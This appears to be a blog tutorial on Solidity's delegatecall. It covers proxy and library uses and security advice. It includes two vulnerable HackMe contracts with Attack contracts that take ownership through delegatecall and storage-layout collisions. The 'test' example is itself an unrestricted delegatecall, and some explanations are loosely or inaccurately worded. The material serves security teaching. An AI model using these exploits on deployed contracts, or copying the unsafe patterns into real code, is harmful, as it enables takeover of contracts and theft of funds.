#100DaysOfSolidity #071 Exploring the Power of Delegatecall in Solidity 🚀

#100DaysOfSolidity Hacks & Tests 071 : “Delegatecall”

Solidity Academy
9 min readAug 16, 2023

đź“… Day 71 of #100DaysOfSolidity Series

Welcome back, fellow Solidity enthusiasts! In today’s exciting installment of our #100DaysOfSolidity series, we are delving deep into the world of Ethereum smart contracts once again. Our focus for today is the intriguing and powerful `delegatecall` function. 🤖⚙️

#100DaysOfSolidity Hacks & Tests 071 : “Delegatecall”

In the realm of Ethereum smart contracts, the `delegatecall` function is a captivating and versatile tool. It enables a contract to call another contract’s function while preserving the context of the calling contract. This means that the called contract can access and modify the calling contract’s storage, providing a unique and powerful mechanism for code reuse and modular design. 🔄📚

The `delegatecall` function is often used in proxy patterns and upgradable contracts, where the storage and logic are separated to allow for contract upgrades without disrupting user data. By delegating calls to external contracts, developers can achieve efficient and cost-effective solutions. Let’s dive into the inner workings of `delegatecall`.

1. How `delegatecall` Works

At its core, `delegatecall` is a low-level Solidity function that allows a contract to execute code from another contract while preserving its own storage context. When a contract A invokes a function in contract B using `delegatecall`, the code from contract B is executed in the context of contract A. This means that any storage variables accessed or modified by contract B will be those of contract A. 📡🔍

Here’s a simplified breakdown of the `delegatecall` process:

1. Contract A invokes the `delegatecall` function, specifying the address of contract B and the function to be executed.
2. The code of contract B is executed, but its storage context remains that of contract A.
3. Contract B’s code can read and modify contract A’s storage variables.
4. The execution result (return data) of contract B’s function is returned to contract A.

It’s crucial to understand that the `delegatecall` mechanism only executes the code of the target contract; it does not change the storage layout of the calling contract. This distinction is what makes `delegatecall` a powerful tool for achieving modular and upgradable designs.

2. Use Cases of `delegatecall`

The `delegatecall` function opens up a world of possibilities for smart contract development. Some common use cases include:

a. Proxy Contracts and Upgradability

Proxy contracts can be used to separate the logic and storage of a contract, allowing for contract upgrades without compromising user data. By using `delegatecall`, the proxy contract can route function calls to different logic contracts while maintaining the same storage context. This enables developers to enhance and improve contracts without the need to migrate user data to a new contract. 📦🔗

b. Library Delegation

`delegatecall` can be employed to create shared libraries that multiple contracts can utilize. This promotes code reuse and reduces deployment costs, as the same library contract can be used by multiple projects. This approach is particularly useful for utility functions and complex calculations that need to be shared among various contracts. 📚🤝

c. Gas-Efficient Function Calls

In cases where multiple contracts need to interact with each other, using `delegatecall` can be more gas-efficient than traditional contract calls. Since `delegatecall` preserves the storage context, data can be fetched from one contract and processed in another without incurring the cost of multiple transactions. This can lead to significant gas savings and optimize the overall user experience. ⛽💰

3. Potential Risks and Security Measures

While `delegatecall` offers powerful capabilities, it also introduces potential risks that developers must be aware of. Since the code of another contract is executed within the context of the calling contract, improper use of `delegatecall` can lead to unintended consequences and vulnerabilities. Here are some security measures to consider when working with `delegatecall`:

a. Secure Contract Auditing

Before utilizing `delegatecall` in your contracts, it’s essential to conduct thorough security audits. This ensures that the target contract’s code is well-tested and free from vulnerabilities that could be exploited through delegate calls.

b. Restricted Function Access

When using `delegatecall`, consider implementing access control mechanisms to restrict which functions can be invoked through delegate calls. This prevents unauthorized parties from executing potentially harmful code within your contract’s context.

c. Immutable Data

Since `delegatecall` can modify storage variables, ensure that critical data is stored in immutable variables or in a separate storage contract. This mitigates the risk of unintentional data modification through delegate calls.

4. Test-Driven Development with `delegatecall`

As responsible developers, it’s crucial to adopt a test-driven approach when working with `delegatecall`. Robust testing helps uncover potential issues and ensures the reliability of your contracts. Let’s walk through a basic example of testing a contract that utilizes `delegatecall`.

// Test contract for a contract that uses delegatecall
contract TestDelegateCall {
function testDelegateCall(address target, bytes memory data) public returns (bool, bytes memory) {
// Use delegatecall to execute the target contract's code
(bool success, bytes memory result) = target.delegatecall(data);
return (success, result);
}
}

In this example, we’re testing a contract that employs `delegatecall` to execute code from another contract. The test function `testDelegateCall` takes the address of the target contract and the data to be executed through `delegatecall`. By examining the `success` and `result` variables, you can verify the outcome of the delegate call.

5. Best Practices for Using `delegatecall`

To harness the power of `delegatecall` effectively and securely, consider the following best practices:

a. Thorough Documentation

Clearly document the usage of `delegatecall` in your contracts. Explain the purpose and expected behavior of delegate calls, especially if your contract architecture involves proxy contracts or complex logic delegation.

b. Code Audits

Regularly audit and review the code of contracts involved in delegate calls. Ensure that any changes or upgrades to contract logic are thoroughly tested and audited to prevent potential vulnerabilities.

c. Embrace Upgradability Safely

If you’re utilizing `delegatecall` for contract upgradability, ensure that the new logic contract maintains compatibility with the existing storage layout. Implement comprehensive tests to verify that storage variables are accessed and modified correctly.

6. Delegatecall Vulnerability Analysis and Security Report 🛡️

Welcome to an in-depth analysis of the `delegatecall` vulnerability and its potential security implications in Solidity smart contracts. In this report, we will explore the intricacies of the `delegatecall` function and discuss real-world examples that highlight the risks associated with its misuse. We’ll also delve into preventative techniques that can be employed to safeguard against these vulnerabilities. 🔍💡

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/*
HackMe is a contract that uses delegatecall to execute code.
It is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
address public owner;

function pwn() public {
owner = msg.sender;
}
}

contract HackMe {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

contract Attack {
address public hackMe;

constructor(address _hackMe) {
hackMe = _hackMe;
}

function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}

Understanding the Delegatecall Vulnerability

The `delegatecall` function in Solidity allows a contract to execute code from another contract while maintaining its own storage context. While this feature can be powerful for various use cases such as proxy contracts and upgradability, it also introduces a level of complexity that can lead to vulnerabilities if not used carefully.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/*
This is a more sophisticated version of the previous exploit.

1. Alice deploys Lib and HackMe with the address of Lib
2. Eve deploys Attack with the address of HackMe
3. Eve calls Attack.attack()
4. Attack is now the owner of HackMe

What happened?
Notice that the state variables are not defined in the same manner in Lib
and HackMe. This means that calling Lib.doSomething() will change the first
state variable inside HackMe, which happens to be the address of lib.

Inside attack(), the first call to doSomething() changes the address of lib
store in HackMe. Address of lib is now set to Attack.
The second call to doSomething() calls Attack.doSomething() and here we
change the owner.
*/

contract Lib {
uint public someNumber;

function doSomething(uint _num) public {
someNumber = _num;
}
}

contract HackMe {
address public lib;
address public owner;
uint public someNumber;

constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}

function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}

contract Attack {
// Make sure the storage layout is the same as HackMe
// This will allow us to correctly update the state variables
address public lib;
address public owner;
uint public someNumber;

HackMe public hackMe;

constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}

function attack() public {
// override address of lib
hackMe.doSomething(uint(uint160(address(this))));
// pass any number as input, the function doSomething() below will
// be called
hackMe.doSomething(1);
}

// function signature must match HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}

Key Points to Remember:

1. `delegatecall` preserves context, including storage, caller, etc.
2. Storage layout must be the same for both the calling contract and the called contract.

Example 1: HackMe — Unauthorized Ownership Change

Let’s analyze the `HackMe` contract example provided. The goal of this example is to illustrate how an attacker can exploit the `delegatecall` vulnerability to change the ownership of the `HackMe` contract.

Exploitation Steps:

1. Deployment: Alice deploys `Lib` and `HackMe` contracts, linking `HackMe` to `Lib`.
2. Attack Setup: Eve deploys the `Attack` contract, providing the address of `HackMe`.
3. Attack Execution: Eve calls `Attack.attack()`.
4. Result: The `Attack` contract becomes the new owner of `HackMe`.

Exploitation Explanation:

1. `Attack` calls the fallback function of `HackMe`, forwarding the function selector of `pwn()` from the `Attack` contract.
2. The `HackMe` contract then uses `delegatecall` to execute the `pwn()` function from the `Lib` contract, changing the owner to `msg.sender`, which is now the `Attack` contract.

Example 2: Sophisticated Exploitation — State Variable Manipulation

This example demonstrates a more sophisticated exploitation involving manipulation of state variables between two contracts with different storage layouts.

Exploitation Steps:

1. Deployment: Alice deploys `Lib` and `HackMe` contracts, linking `HackMe` to `Lib`.
2. Attack Setup: Eve deploys the `Attack` contract, providing the address of `HackMe`.
3. Attack Execution: Eve calls `Attack.attack()`.
4. Result: The `Attack` contract becomes the new owner of `HackMe`.

Exploitation Explanation:

1. `Attack` changes the address of `lib` stored in the `HackMe` contract to the address of `Attack`.
2. Subsequently, `Attack` uses `delegatecall` to execute `doSomething()` from the `HackMe` contract, effectively changing the owner’s address.

Preventative Techniques

To mitigate the risks associated with the `delegatecall` vulnerability, consider implementing the following techniques:

1. Stateless Libraries : Instead of relying on the storage of the calling contract, use stateless libraries that don’t rely on storage context. This reduces the potential for unintended storage modifications.

2. Careful Storage Layout : Ensure that the storage layout is consistent between interacting contracts. This reduces the likelihood of misalignments that can be exploited.

3. Secure Auditing : Conduct thorough security audits of your contracts, especially those utilizing `delegatecall`. This helps identify vulnerabilities that can be exploited through delegate calls.

In Conclusion; The `delegatecall` function presents both opportunities and risks in Solidity smart contract development. While it enables code reuse and innovative design patterns, it must be used with caution due to the potential vulnerabilities it introduces. By understanding the intricacies of `delegatecall`, employing secure coding practices, and regularly auditing your contracts, you can harness its power while ensuring the safety and security of your decentralized applications. đź”’đź“ś

Remember, knowledge and vigilance are your best allies in the ever-evolving landscape of smart contract security. Stay informed, stay secure, and keep building with confidence! 💪🛡️

7. Conclusion

Congratulations, you’ve successfully journeyed through the captivating world of `delegatecall` in Solidity! We’ve explored its mechanics, use cases, potential risks, and best practices. As you continue your Solidity endeavors, remember that `delegatecall` is a powerful tool that, when used wisely, can lead to more modular, efficient, and upgradable smart contracts. 🛠️📦

In our next installment, we’ll venture into another fascinating aspect of Solidity that will expand your knowledge even further. Stay tuned and keep coding! 💡👨‍💻

Happy coding! 💪🚀

— -

đź“š Resources đź“š

--

--

Solidity Academy

Your go-to resource for mastering Solidity programming. Learn smart contract development and blockchain integration in depth. https://heylink.me/solidity/